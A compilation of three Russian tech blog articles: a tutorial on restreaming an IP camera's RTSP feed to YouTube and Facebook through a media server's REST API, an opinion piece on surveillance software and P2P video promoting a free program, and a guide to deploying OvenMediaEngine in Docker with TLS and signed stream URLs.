При этом, так как мы уже имеем RTSP поток на стороне сервера, мы можем перенаправить этот поток на другие RTMP endpoints, не неся при этом дополнительных расходов по CPU и памяти. Просто снимаем трафик с RTSP стрима и тиражируем на Facebook, Twitch, куда угодно без дополнительного RTSP захвата и депакетизации.

Меня, как девопса, будет мучать совесть, если я не заскриптую то, что можно было бы заскриптовать. Автоматизации способствует наличие REST API для управления захватом видео с камеры и ретрансляцией.

Например, с помощью запроса:

/rtsp/startup

можно захватить видеопоток от IP камеры.

Запрос:

/rtsp/find_all

позволит получить список захваченных сервером RTSP потоков.

Запрос для завершения RTSP сессии выглядит так:

/rtsp/terminate

Захватом и ретрансляцией видеопотоков можно управлять или с помощью простого браузера и любого удобного REST клиента, или с помощью минимального количества строчек кода встроить функционал управления сервером в свой web проект.

Давайте подробно рассмотрим, как это можно сделать.

Небольшой мануал, как с помощью минимального кода организовать Live трансляцию на YouTube и Facebook

В качестве серверной части мы используем demo.flashphoner.com. Для быстрого развертывания своего WCS сервера воспользуйтесь этой инструкцией или запустите один из виртуальных инстансов на Amazon, DigitalOcean или в Docker.

Предполагается, что у вас имеется подтвержденный аккаунт на YouTube и вы уже создали трансляцию в YouTube Studio, а так же создали прямую видеотрансляцию в своем аккаунте на Facebook.

Для работы Live трансляций на YouTube и Facebook нужно указать в файле настроек WCS flashphoner.properties следующие строки:

rtmp_transponder_stream_name_prefix= Убирает все префиксы для ретранслируемого потока.

rtmp_transponder_full_url=true В значении "true" игнорирует параметр "streamName" и использует RTMP адрес для ретрансляции потока в том виде, в котором его указал пользователь.

rtmp_flash_ver_subscriber=LNX 76.219.189.0 - для согласования версий RTMP клиента между WCS и YouTube.

Теперь, когда все подготовительные действия выполнены, перейдем к программированию. Разместим в HTML файле минимально необходимые элементы:

Подключаем скрипты основного API и JS скрипт для работы live трансляции, который мы создадим чуть позже:

 <script type="text/javascript" src="../../../../flashphoner.js"></script> <script type="text/javascript" src="rtsp-to-rtmp-min.js"></script>

Инициализируем API на загрузку web-страницы:

<body onload="init_page()">

Добавляем нужные элементы и кнопки поля для ввода уникальных кодов потоков для YouTube и Facebook, кнопку для републикации RTSP потока, div элемент для вывода текущего статуса работы программы и кнопку для остановки републикации:

<input id="streamKeyYT" type="text" placeholder="YouTube Stream key"/><input id="streamKeyFB" type="text" placeholder="FaceBook Stream key"/><button id="repubBtn">Start republish</button><div id="republishStatus"></div><br><button id="stopBtn">Stop republish</button>

Затем переходим к созданию JS скрипта для работы републикации RTSP. Скрипт представляет собой мини REST клиент.

Создаем константы:

Константа "url", в которую записываем адрес для запросов REST API . Замените "demo.flashphoner.com" на адрес своего WCS.

Константа "rtspStream" указываем RTSP адрес потока с IP камеры. Мы для примера используем RTSP поток с виртуальной камеры.

var url = "https://demo.flashphoner.com:8444/rest-api";var rtspStream = "rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mov"

Функция "init_page()" инициализирует основной API при загрузке web - страницы. Так же в этой функции прописываем соответствие кнопок вызываемым функциям и вызываем функцию "getStream", которая захватывает RTSP видеопоток с IP камеры:

function init_page() {Flashphoner.init({});repubBtn.onclick = streamToYouTube;stopBtn.onclick = stopStream;getStream();}

Функция "getStream()" отправляет на WCS REST запрос /rtsp/startup который захватывает видеопоток RTSP адрес которого был записан в константу rtspStream

function getStream() {    fetchUrl = url + "/rtsp/startup";    const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "uri": rtspStream        }),    }    fetch(fetchUrl, options);console.log("Stream Captured");}

Функция "streamToYouTube()" републикует захваченный видеопоток в Live трансляцию на YouTube:

function streamToYouTube() {fetchUrl = url + "/push/startup";const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "streamName": rtspStream,"rtmpUrl": "rtmp://a.rtmp.youtube.com/live2/"+document.getElementById("streamKeyYT").value        }),    }  fetch(fetchUrl, options);streamToFB()}

Эта функция отправляет на WCS REST вызов /push/startup в параметрах которого передаются следующие значения:

"streamName" - имя потока, который мы захватили с IP камеры. Имя потока соответствует его RTSP адресу, который мы записали в константу "rtspStream"

"rtmpUrl" - URL сервера + уникальный код потока. Эти данные выдаются при создании Live трансляции в YouTube Studio. В нашем примере мы жестко закрепили URL в коде, вы можете добавить для него еще одно поле на свою web страницу. Уникальный код потока указывается в поле "streamKeyYT" на нашей Web странице.

Функция "streamToFB" републикует захваченный видеопоток в Live трансляцию на Facebook:

function streamToFB() {fetchUrl = url + "/push/startup";const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "streamName": rtspStream,"rtmpUrl": "rtmps://live-api-s.facebook.com:443/rtmp/"+document.getElementById("streamKeyFB").value        }),    }  fetch(fetchUrl, options);document.getElementById("republishStatus").textContent = "Stream republished";}

Эта функция так же отправляет на WCS REST вызов "/push/startup" в параметрах которого передаются значения:

"streamName" - имя потока, который мы захватили с IP камеры. Имя потока соответствует его RTSP адресу, который мы записали в константу "rtspStream"

"rtmpUrl" - URL сервера + уникальный код потока. Эти данные можно найти на странице Live трансляции в Facebook в секции Live API. Url сервера в этой функции мы указали в коде, как и для функции републикации на YouTube. Уникальный код потока берем из поля "streamKeyFB" на Web странице.

Функция "stopStream()" отправляет RTSP запрос "/rtsp/terminate" который прекращает захват потока с IP камеры на WCS и соответственно прекращает публикации на YouTube и Facebook:

function stopStream() {fetchUrl = url + "/rtsp/terminate";    const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "uri": document.getElementById("rtspLink").value        }),    }    fetch(fetchUrl, options);document.getElementById("captureStatus").textContent = null;document.getElementById("republishStatus").textContent = null;document.getElementById("stopStatus").textContent = "Stream stopped";}

Полные коды HTML и JS файлов рассмотрим немного ниже.

Итак. Сохраняем файлы и пробуем запустить.

Последовательность действий для тестирования

Создаем Live трансляцию в YouTube Studio. Копируем уникальный код видеопотока:

Открываем созданную ранее HTML страницу. Указываем в первом поле уникальный код видеопотока, который мы скопировали на YouTube:

Создаем Live трансляцию в своем аккаунте на Facebook. Копируем уникальный код видеопотока.

Возвращаемся на нашу web страничку, вставляем скопированный код во второе поле и нажимаем кнопку "Start republish

Теперь проверяем работу нашей републикации. Снова переходим в YouTube Studio и на Facebook, ждем несколько секунд и получаем превью потока.

Для завершения републикации нажмите кнопку "Stop"

Теперь, как и обещали, исходные коды примера полностью:

Листинг HTML файла "rtsp-to-rtmp-min.html"

<!DOCTYPE html><html lang="en">    <head>        <script type="text/javascript" src="../../../../flashphoner.js"></script>        <script type="text/javascript" src="rtsp-to-rtmp-min.js"></script>    </head>    <body onload="init_page()">        <input id="streamKeyYT" type="text" placeholder="YouTube Stream key" /> <input id="streamKeyFB" type="text" placeholder="Facebook Stream key" /> <button id="repubBtn">Start republish</button>        <div id="republishStatus"></div>        <br />        <button id="stopBtn">Stop republish</button>    </body></html>

Листинг JS файла "rtsp-to-rtmp-min.js":

var url = "https://demo.flashphoner.com:8444/rest-api";var rtspStream = "rtsp://wowzaec2demo.streamlock.net/vod/mp4:BigBuckBunny_115k.mov"function init_page() {    Flashphoner.init({});    repubBtn.onclick = streamToYouTube;    stopBtn.onclick = stopStream;    getStream();}function getStream() {    fetchUrl = url + "/rtsp/startup";    const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "uri": rtspStream        }),    }    fetch(fetchUrl, options);    console.log("Stream Captured");}function streamToYouTube() {    fetchUrl = url + "/push/startup";    const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "streamName": rtspStream,            "rtmpUrl": "rtmp://a.rtmp.youtube.com/live2/" + document.getElementById("streamKeyYT").value        }),    }    fetch(fetchUrl, options);    streamToFB()}function streamToFB() {    fetchUrl = url + "/push/startup";    const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "streamName": rtspStream,            "rtmpUrl": "rtmps://live-api-s.facebook.com:443/rtmp/" + document.getElementById("streamKeyFB").value        }),    }    fetch(fetchUrl, options);    document.getElementById("republishStatus").textContent = "Stream republished";}function stopStream() {    fetchUrl = url + "/rtsp/terminate";    const options = {        method: "POST",        headers: {            "Content-Type": "application/json"        },        body: JSON.stringify({            "uri": rtspStream        }),    }    fetch(fetchUrl, options);    document.getElementById("republishStatus").textContent = "Stream stopped";}

Для минимальной реализации требуется совсем немного кода. Конечно для итогового внедрения функционала еще потребуется небольшая доработка напильником - добавить стили на web страницу и разные проверки на валидность данных в код JS скрипта. Но это работает.

Удачного стриминга!

Ссылки

Наш демо сервер

WCS на Amazon EC2 - Быстрое развертывание WCS на базе Amazon

WCS на DigitalOcean - Быстрое развертывание WCS на базе DigitalOcean

WCS в Docker - Запуск WCS как Docker контейнера

Трансляция WebRTC видеопотока с конвертацией в RTMP - Функции сервера по конвертации WebRTC аудио видео потока в RTMP

Трансляция потокового видео с профессионального устройства видеозахвата (Live Encoder) по протоколу RTMP - Функции сервера по конвертации видеопотоков от Live Encoder в RTMP

HTML5-трансляции с RTSP-IP камер - Функции сервера по воспроизведению RTSP видеопотоков

Подробнее..

Бесполезное видеонаблюдение или принцип Чабудо китайских производителей

03.12.2020 20:22:40 | Автор: admin

Легендарная пыль

Однажды я спросил у своего знакомого: Что это у тебя за устройство все в пыли? Это видеорегистратор - ответил мой приятель. Пробовал настроить запись с камер по детекции движения, но в нужный момент ничего не писалось. А если и происходила запись, то, в основном, когда было не нужно - из-за изменений освещения, погодных условий, комаров и насекомых возле камеры. В общем, включил этот видеорегистратор в режим непрерывной видеозаписи и забыл про него. Надо проверить пишет ли он до сих пор ? Знакомая ситуация?

Если посмотреть на большинство крупных брендов, то на деле все они использует OEM поставки от одних и тех же китайских производителей почти с одним и тем же софтом внутри (Dahua и Hikivision).

Объединяет их всех одно крайне неудобный и пыльный интерфейс программного обеспечения в стиле 90-х. Тем не менее, рынок таких систем огромен, а спецы-слаботочники крайне непритязательны. Если монтажник системы сказал, что для видеонаблюдения нужен белый IP адрес и танец с бубном вокруг роутера, то без них никак. Результат хорошо известен большое количество взломанных IP камер и замечательные пранки над их владельцами.

Итак, приготовьте лупу. Выглядит китайский софт на современном компьютере с хорошим разрешением примерно так:

Скриншот программы SmartPSSСкриншот программы SmartPSSСкриншот программы SmartPSSСкриншот программы SmartPSSСкриншот программы CMSСкриншот программы CMS

Большие системы

На рынке существует множество тяжеловесных дорогостоящих систем для корпоративных пользователей. Чтобы удовлетворить запросы клиентов, такие продукты постепенно превращаются в монстров, для которых нужны выделенные дорогостоящие сервера и лицензии, внедрение, подробная документация и обучение. Все это делает систему тяжеловесной и недоступной для SOHO пользователей.

Видеоаналитика

Современное программное обеспечение позволяет использовать компьютерное зрение в онлайн-режиме. Появление видеоаналитики положительно повлияло на ситуацию. Однако, она тоже имеет ряд недостатков, обусловленных высокой стоимостью обслуживания, сложными настройками и необходимостью содержания серверов с GPU картами.

Многие компании предлагают облачную видеоаналитику. Но этот подход имеет существенный недостаток - высокую стоимость трафика и самих сервисов.

Представленный на рынке софт для видео наблюдения можно разделить на следующие категории:

  1. Небольшие программы, open source и подручные самописные средства.

  2. Сложные дорогие программы, разработанные для корпоративных заказчиков. Они эффективно работают, но требуют больших затрат в обслуживании и специальной инфраструктуры.

  3. Используемые по наследству морально устаревшие hardware-решения, неудобные в использовании и обладающие ограниченными возможностями. Они функционируют на основе старых алгоритмов видео-кодирования.

  4. VSaaS (video surveillance as a service) - Облачные решения для записи и хранения видеозаписей с облачными сервисами. Такие сервисы часто предлагают уже преднастроенные ip камеры, привязанные к собственным облачным сервисам.

Cиний туман похож на ...

VSaaS значительно упрощает подключение устройств, но в этом случае приходится ежемесячно оплачивать услуги для каждой из ip камер. Эти услуги не дешевы и стоимость сильно зависит от желаемого срока хранения видеозаписей на сервере. Если вы хотите использовать, например, 10 камер, то стоимость выльется в существенную сумму - от 1000 до 30000 долларов в год в зависимости от срока хранения архива без учета стоимости оборудования. Т.е. каждый ежемесячный платеж может быть больше, чем стоимость самого оборудования. Стоимость облачных камер, как правило, существенно выше рыночных аналогов, несмотря на одинаковое железо внутри. Узким местом VSaaS является пропускная способность канала передачи данных.

При круглосуточной трансляции видео 1920х1080 (HD) в течение одного месяца каждая ip камера может съесть до 648 Гб интернет-трафика. При большой нагрузке провайдер может понижать скорость вашего соединения. Одна камера с высокой четкостью изображения, использующая продвинутые алгоритмы сжатия, например, H.264, генерирует поток данных со скоростью 2 - 10 Мбит/с. С другой стороны, средняя скорость исходящего канала в мире сейчас составляет только 5 Мбит/с.

Получается разрыв между текущими запросами пользователей VSaaS и возможностями каналов интернет провайдеров. Использование нескольких камер становится проблематичным, особенно для камер высокого разрешения. Суммарный поток данных при использовании 150 видеокамер разрешением 2 Мп (30 fps) для охраны периметра, имеет нагрузку на канал связи более 1 Гб/с. Удаленный просмотр, запись видео становятся ненадежными и невозможными. В итоге, облачное видеонаблюдение может превратиться в туманное с потерей важных данных. Многие пользователи уже успели разочароваться в таких сервисах из-за потери важных кадров.

Нейронные сети или из тумана снова в облако

Простой детектор движения сокращает поток. Однако, детектор может реагировать на случайные изменения картинки. Эту проблему решает технология интеллектуальной видеоаналитики в режиме реального времени, функционирующей на стороне абонента.

Нейросетевые технологии позволяют производить детекцию объектов, обнаружение людей и распознавание лиц, определение номеров автомобилей. Таким образом, в сравнении с обычным детектором движения, видеоаналитика может сократить нагрузку на канал связи и облачное хранилище в десятки раз. Очевидно, что облачная инфраструктура оказывается неэффективной для первичной обработки сырого видеоматериала. Чем лучше видеоаналитика, тем меньше нагрузка на каналы передачи данных.

С другой стороны, облачная инфраструктура может быть эффективно использована для горизонтального масштабирования системы видеонаблюдения - для хранение видео и данных видеоаналитики, для подключения новых объектов наблюдения, для обслуживания большого числа пользователей. Локальное хранилище NVR позволяет буферизовать данные. Оно увеличивает отказоустойчивость системы видеонаблюдения. Срабатывание по событию активирует запись и данные передаются в облачное хранилище в зависимости от загруженности канала.

Необходимо учитывать ограничения по скорости передачи, а также наличие сложных топологий с трансляцией адресов (NAT) и сетевыми экранами. Как правило, большинство технологий, которые для этого используются, требуют присвоения камере или видеорегистратору дорогостоящего белого IP адреса, сложной процедуры настройки с использованием сервисов VPN, UPnPct или DDNS.

Боль пользователей

Интернет провайдеры предоставляют услуги подключения к сети интернет на основании динамически изменяющихся IP адресов из определенного массива. При каждом входе в сеть этот адрес для пользователя изменяется, что требует систематической перенастройки камер системы видеонаблюдения. Провайдер может предоставлять внутренний IP адрес подсети, который будет отличаться от внешнего адреса. Белый статический IP адрес провайдер выделяет на платной основе и стоит эта услуга недешево. Как известно, общее количество IPv4 - адресов в мире ограничено и все они были розданы уже много лет назад. IPv6 - адреса многие камеры до сих пор не поддерживают. Но главная проблема использование внешнего IP адреса для IP камеры крайне небезопасно. IP камера - это простенький и малозащищенный микрокомпьютер, что приводит к большому количеству взломов и утечек информации.

Децентрализация без политики

В последнее время благодаря новым решениям и технологии P2P (peer to peer) можно установить и настроить удаленное видеонаблюдение самостоятельно и очень легко.

Технология эта уже не нова, она, например, широко используется многими популярными мессенджерами. В основе технологии лежит алгоритм, согласно которому устройства общаются между собой напрямую децентрализованно без выделенных ip адресов. Пиринговый протокол отличается от привычной клиент-серверной архитектуры отсутствием выделенного сервера, так как каждый узел одновременно выполняет функции, как клиента, так и сервера.

Основная часть затрат в содержании сервисов облачных решений складывается из расходов на оплату трафика, а также содержание серверов кодировки и декодирования потоков видеосигнала. P2P технологии исключают подобные расходы для поставщика сервиса. Для соединения используются сигнальные сервера, которые всего лишь соединяют между собой камеры и удаленные устройства.

В итоге, Р2Р отличается более эффективным использованием полосы пропускания канала. В этом случае не требуется дополнительная облачная ретрансляция и обработка видеопотока (кодирование/декодирование) и пользователь не зависит от бутылочного горлышка возможностей облачного провайдера. Сервер в данном случае выступает только в качестве посредника, пробивающего NAT, связывающего вашу IP-камеру и устройство пользователя напрямую. Видеопоток передается напрямую от одного вашего устройства к другому вашему компьютеру или мобильному устройству.

Простота настроек сетевого оборудования - основное преимущество Р2Р технологии перед другими способами передачи сигнала. Возможность работы с серыми и динамическим IP позволяет установить видеонаблюдения в местах, где нет доступа к проводному интернету. Достаточно будет приобрести 3G/4G модем с поддержкой Wi-Fi и настроить программное обеспечение.

Зачем платить облаку, если можно наблюдать бесплатно?

P2P видеонаблюдение совмещает в себе систему удаленного доступа к компьютеру и программу получения изображений с видеокамер. Введя определенный код и пароль (аналогично тому, как это делается в приложениях для удаленного доступа к компьютеру), вы можете вести видеонаблюдение и управление системой.

Подробнее можно посмотреть на видео.

Для осуществления мониторинга системы видеонаблюдения вы можете использовать как стационарный ПК или ноутбук, так и мобильные устройства: планшеты, смартфоны. Качество изображения зависит только от ширины канала и стабильной работы связи.

Почему китайские производители камер создают программы с интерфейсом в стиле Чабудо?

У некоторых китайских производителей камер сейчас есть свои облачные и P2P сервисы. Однако, такие сервисы имеют очень специфический интерфейс, нестабильны и медленны, рассчитаны на крайне непритязательных китайских пользователей. Как правило, требуется установка ActiveX расширений и использование определенных версий браузеров и flash-плагинов, а сервера могут располагаться за великой китайской стеной.

Облачный сервис для камер HikivisionОблачный сервис для камер Hikivision

Для китайцев характерен принцип Чабудо. В переводе с китайского в буквальном смысле это означает - да вроде же ничего, и так сойдет, совсем небольшая разница. Он может проявляться в том, что вам, например, скажут, что onvif протокол на ip камере не нужен, так как он уже устарел, или вам поставят розетку неправильного размера, унитаз установят на балконе и т.д..

Чабудо полная противоположность позыву сделать свое дело качественно и с полной отдачей. Дверь не подходит к раме? Чабудо, можно привыкнуть закрывать ее пинком. Алиэкспресс прислал ip камеру, которая глючит? Чабудо же, она хоть и криво, но работает, на что ты жалуешься? Интерфейс неудобный, не рассчитан на крупные шрифты и высокое разрешения монитора? не проблема, китайские пользователи вполне cмогут использовать, поменяв разрешение экрана.

Мнимая свобода выбора

Удивительно, но до сих пор обычный пользователь или небольшая компания практически не имеют возможности купить недорогой и качественный продукт с искусственным интеллектом. Если вы попробуете найти решение, которое можно установить на домашний компьютер для видеонаблюдения на основе искусственного интеллекта, вы обязательно столкнетесь с так называемыми лэндингами или дорвеями. Они представляют собой небольшие сайты, красиво описывающие преимущества какой-либо системы. Однако, на сайте в реальности отсутствует возможность протестировать рекламируемый продукт, и даже нет конкретной цены владения. Вам будет предложено заполнить стандартную форму со своими данными для дальнейшей связи. Вероятнее всего их система еще не готова, либо компания проводит предварительное исследование потребительского спроса для очередного стартапа.

Куда мы идём? Что будет дальше?

Сочетание искусственного интеллекта и Р2Р технологией дает возможность быстрого построения эффективной системы видеонаблюдения без привлечения дорогостоящих специалистов. Простота настройки и эксплуатации не требуется знаний протоколов связи и каких-либо особых требований. В этом случае не нужна дополнительная облачная ретрансляция и обработка видеопотока (кодирование/декодирование) и вы не зависите от бутылочного горлышка возможностей облачного провайдера. Сервер в данном случае выступает только в качестве посредника, связывающего вашу IP-камеру и устройство пользователя напрямую. Видеопоток передается напрямую от одного вашего устройства к другому вашему компьютеру или мобильному устройству.

Для осуществления детекции объекта применяются оптимизированные алгоритмы нейронных сетей на стороне клиента. Они способны работать на относительно дешевых чипах и процессорах микрокомпьютеров. Данные передаются посредством пиринговых соединений в обход облачных сервисов без излишнего кодирования и декодирования. Р2Р отличается более эффективным использованием полосы пропускания канала для передачи видео потока.

Новая бесплатная программа

Web Camera Pro - бесплатная программа, которая написана на Qt, С++ как мультиплатформенное решение. Вы можете использовать любую ip или usb камеру для полноценной системы видеонаблюдения с удаленным доступом из любой точки мира и с минимальными затратами.

Интерфейс Web Camera Pro:

Для детекции предусмотрен встроенный модуль распознавания лиц и номеров автомобилей. За счет умной детекции программа может отличать людей от домашних питомцев и отправлять вам видео в Telegram или в мобильное приложение, только в том случае, если в кадре появится человек.

Видеоинструкция:

https://www.youtube.com/watch?v=OvSQ1C5Lsd8

https://www.youtube.com/watch?v=CreFNidJqZI

https://www.youtube.com/watch?v=fRJdZATpixg

Скачать бесплатную версию Web Camera Pro можно здесь:

http://free-video-surveillance.com/home-security-camera

Подробнее..

Видео трансляция с OvenMediaEngine, до свидания nginx-rtmp-module

15.12.2020 04:09:34 | Автор: admin


Роман Арутюнян (rarutyunyan) выпустил модуль nginx-rtmp-module, это сильно перевернуло взгляд на доступность организации видеовещания. До этого, это казалось каким-то дорогим и сложным делом. 31 декабря Adobe официально хоронит флешплеер и убирает ссылки на скачивание с сайта. Это, конечно, не может не радовать. Эти засранцы то и дело подсовывали включенные по умолчанию галочки, так что пользователю прилетал вместе с флешплеером еще и антивирус mcafee в лучшем случае. То, что это чудовище бесконечно просило обновлений ручками через браузер, знают все. Ходил даже анекдот, предлагающий создателям флешплеера законодательно ограничить паспорта сроком на 1 неделю с возможностью бесконечной перевыдачи.

Кому сдался флешплеер в конце 2020-го, вы хотите сказать? Да дело в том, что флеш плеер единственный поддерживал воспроизведение протокола rtmp в браузере с относительно низкой задержкой. Да и он не так уж и плох, учитывая, что по умолчанию все стриминговые сервисы, youtube или twitch из кодировщика просят передавать им видео по протоколу rtmp. Конечно, приходит более свежий SRT но разговор не об этом. Вы убрали возможность играть видео в браузере по rtmp, а где альтернативы-то? Форматы, работающие по http требуют хорошей буферизации. Задержка выливается в 15 секунд. Это неприемлемо, если вы общаетесь со своей аудиторией онлайн. WebRTC решения плохо дружат с реализацией один ко многим. Ну как плохо, плати, и будет хорошо. Cофт есть на рынке. Только беда еще с покрытием, по моим ощущениям, WebRTC только только нащупал какую-то стабильную фазу, при которой его можно использовать. Но все равно есть небольшие проблемы с форматами видео на разных платформах. Раньше все это выглядело так муторно, что проще было просить ставить флешплеер только ради малой задержки.

В issue к nginx-rtmp-module не я один оставлял вопросы о поддержке форматов передачи видео по http с низкой задержкой (2-3 секунды). Ведь если бы можно было вещать в формате dash и hls до 3 секунд на nginx-rtmp-module, меня бы это полностью устроило. Но ответов на эти вопросы нет. Низкая задержка нужна в 2020 году и без нее ну никак. К сожалению, проект c 2017 года не развивается.

Медиасервер OvenMediaEngine.


Прекрасной альтернативой, отвечающей порывам всех моих желаний, является корейская морковка опенсорсный проект OvenMediaEngine, предлагающий не только средства кодирования и кластеризации (как у nginx-rtmp-module) но и средства воспроизведения т.е. свой html5 плеер. Именно то, чего я так искал, зарелизили наши южнокорейские братья. С большим интересом я крутил его неделю и полностью перебрался на него.

Задержка по WebRTC полсекунды. Задержка по dash low latency 2 секунды. HLS low latency скоро обещают.

Возможности:

  • RTMP Push, MPEG2-TS Push, RTSP Pull Input
  • WebRTC sub-second streaming
  • Embedded WebRTC Signalling Server (WebSocket based)
  • ICE (Interactive Connectivity Establishment)
  • DTLS (Datagram Transport Layer Security)
  • SRTP (Secure Real-time Transport Protocol)
  • ULPFEC (Forward Error Correction) with VP8, H.264
  • In-band FEC (Forward Error Correction) with Opus
  • Low-Latency MPEG-DASH streaming (Chunked CMAF)
  • Legacy HLS/MPEG-DASH streaming
  • Embedded Live Transcoder (VP8, H.264, Opus, AAC, Bypass)
  • Origin-Edge structure
  • Monitoring
  • Experiment
  • P2P Traffic Distribution
  • RTSP Pull, MPEG-TS Push Input

Так как команда активно развивает медиасервер, для быстрых апгрейдов я решил использовать предложенную ими установку через докер, накатывая внутрь контейнера всего две вещи: сертификаты от Lets Encrypt и файл настройки сервера.

С моей точки зрения из-за свежести проекта, документация OvenMediaEngine не рассказывает о best default practice да и пока еще пролетают огрехи копипасты. Вникая во все это самостоятельно, выделил две проблемы с подачей материала и почувствовал что нужна статья.

  1. Показывают, как работают примеры по http и ws протоколу, хотя, очевидно, показывать нужно сразу, как работать на https и wss, все равно же придется заново все перенастраивать. К тому же, о прикреплении бесплатных сертификатов от Lets Encrypt в документации ни слова, хотя официально полностью поддерживают.
  2. Аналогично, после настройки и запуска сервера точка входа публично доступна для всех.(как и у nginx-rtmp-module) Нужно сразу показывать, как защищать точку входа.

Это все мелочи. Похвалю за очень удобные средства отладки. Они предлагают две страницы

http://demo.ovenplayer.com
https://demo.ovenplayer.com

http и https для отладки сервера. Более того, внесенные настройки сразу же отражаются как GET параметры в адресной строке это чертовски удобно тестировать между браузерами. Поверьте, путаница в протоколах, портах, описках в урлах при первой подготовке сервера то еще занятие!А так, сохранил ссылку в браузере и возвращайся когда нужно к настройке с сохраненными настройками!

Установка. Быстрый старт


Итак, я возьму 20-ую Убунту.

https://airensoft.gitbook.io/ovenmediaengine/v/0.10.10/getting-started

docker run -d \-p 1935:1935 -p 4000-4005:4000-4005/udp -p 3333:3333 -p 8080:8080 -p 9000:9000 -p 10000-10010:10000-10010/udp \airensoft/ovenmediaengine:latest


После ставим certbot. Привязывайте ip к домену, получайте сертификаты.

Далее, получаем имя контейнера докера, например, 87b8610034bc

sudo docker container ls


Вытащим конфиг из контейнера для редактирования. (Ну мне удобнее в момент изучения конфига видеть его где-то с подсветкой синтаксиса, поэтому вытаскиваю файл)

sudo docker cp 87b8610034bc:/opt/ovenmediaengine/bin/origin_conf/Server.xml ./Server.xml


Старый добрый xml. (Мода же на json все дела но благо это вообще не xml как в каком нибудь IIS, который, казалось бы, выступает какой то базой данных для миллиона кнопок в интерфейсе вебсервера.)

Выглядит конфиг так
https://github.com/AirenSoft/OvenMediaEngine/blob/master/misc/conf_examples/Server.xml

Раздел VirtualHost. Нам нужно задать имя сервера и указать пути к сертификатам внутри контейнера.
<Host>    <Names>        <Name>stream.***.ru</Name>    </Names>    <TLS>        <CertPath>/opt/ovenmediaengine/bin/cert.pem</CertPath>        <KeyPath>/opt/ovenmediaengine/bin/privkey.pem</KeyPath>        <ChainCertPath>/opt/ovenmediaengine/bin/chain.pem</ChainCertPath>    </TLS></Host>


Затем, нужно оставить только TLSPort порты.
<Publishers>    <HLS>        <TLSPort>${env:OME_HLS_STREAM_PORT:8080}</TLSPort>    </HLS>    <DASH>        <TLSPort>${env:OME_DASH_STREAM_PORT:8080}</TLSPort>    </DASH>    <WebRTC>        <Signalling>            <TLSPort>${env:OME_SIGNALLING_PORT:3333}</TLSPort>        </Signalling>    </WebRTC></Publishers>

Почему я рекомендую указывать те же порты, что и использовались для http? Сервер иначе не стартанет на одинаковых портах (не умеет), а выдумывать новые порты, когда при установке докера разработчики уже сделали в примере биндинги для контейнера, лишнее.

Заливаем конфиг обратно
sudo docker cp ./Server.xml 87b8610034bc:/opt/ovenmediaengine/bin/origin_conf/Server.xml

И, соответственно, по заданным путям мы кидаем наши ключи

docker cp /etc/letsencrypt/live/stream.****.ru/chain.pem 87b8610034bc:/opt/ovenmediaengine/bin/docker cp /etc/letsencrypt/live/stream.****.ru/privkey.pem 87b8610034bc:/opt/ovenmediaengine/bin/docker cp /etc/letsencrypt/live/stream.****.ru/cert.pem 87b8610034bc:/opt/ovenmediaengine/bin/


Перезапуск

sudo docker restart 87b8610034bc

Пробуем.

Урл вещания в obs
rtmp://stream.***.ru:1935/app


ключ stream

Линки для паблика

dash https://stream.***.ru:8080/app/stream/manifest.mpddash ll https://stream.***.ru:8080/app/stream/manifest_ll.mpdhls https://stream.***.ru:8080/app/stream/playlist.m3u8webrtc wss://stream.***.ru:3333/app/stream/


Если после запуска трансляции в obs все хорошо и по линкам отдается манифест, можете проверить видео на странице с плеером.

Подписывание ссылок


OME так устроен, что позволяет создать публичные линки с разными правами. Например, одну и туже ссылку можно ограничить ip диапазоном или временем работы по разному для разных людей. Они используют схожую логику как у гугла Sign Policy.

1. Добавить блок SignedPolicy в секцию VirtualHost в Server.xml

<SignedPolicy>    <PolicyQueryKeyName>policy</PolicyQueryKeyName>    <SignatureQueryKeyName>signature</SignatureQueryKeyName>    <SecretKey>secretkey</SecretKey>          <Enables>        <Providers>rtmp</Providers>        <Publishers>webrtc,hls,dash,lldash</Publishers>    </Enables></SignedPolicy>

После этого, вы не сможете ни посылать поток по старой ссылке в OBS ни принимать трафик по публичным ссылкам без подписей.

2. Запускаем signed_policy_url_generator.sh с параметрами, описанными внутри.

Например:
sudo bash ./signed_policy_url_generator.sh secretkey rtmp://stream.***.ru:1935/app/stream signature policy '{url_expire:8807083098927}'

url_expire обязательный параметр, который просит в миллисекундах (это не unix timestamp, а currentmillis.com ) указать, когда истечет ссылка.

результат:

rtmp://stream.***.ru:1935/app/stream?policy=eyJ1cmxfZXhwaXJlIjo4ODA3MDgzMDk4OTI3fQ&signature=xjS7NY-l4lY1f9e9sOiRNhPtAqI


rtmp://stream.***.ru:1935/app идет в OBS в Server, остальная часть в Stream key.

3. Если OBS стартанул трансляцию, теперь нужно обязательно подписать необходимые публичные ссылки. Например для WebRTC.

sudo bash ./signed_policy_url_generator.sh secretkey wss://stream.***.ru:3333/app/stream signature policy '{"url_expire":8807083098927}'


Таким образом, не имея доступа к секрету, получить какой либо доступ к OME из дефолтных настроек больше нельзя.

Остается, наверное, из настроек только прописать докер на автозапуск контейнера с системой. Ну и сертификаты на крон, со скриптом, копирующим в контейнер ключи и рестартующим его ну или как это там еще у вас принято.

sudo systemctl enable docker


sudo docker update --restart unless-stopped 87b8610034bc


О кодировании видео

Ребята считают OBS самым популярным кодировщиком для своего сервера. Поэтому как и в документации, так и более подробно в блоге можно найти подходящие настройки, максимально снижающие задержку в трансляции. Так же у них есть универсальный энкодер для андройда.
https://play.google.com/store/apps/details?id=com.airensoft.ovenstreamencoder.camera

Еще немного о корейской морковке


Когда пользователь выбирает в плеере в качестве источника webrtc, OME на лету конвертирует аудио в требуемый формат opus.(Это требования стандарта.)

По непонятным для меня причинам, WebRTC не может работать с mono звуком, поэтому не пытайтесь в настройках медиасервера переключать звук со стерео он не запустится. Это не проблема OME.

Пожелания



  1. Система логов это обычные txt файлики. Было бы очень круто иметь чуть более продвиную визуальную аналитику
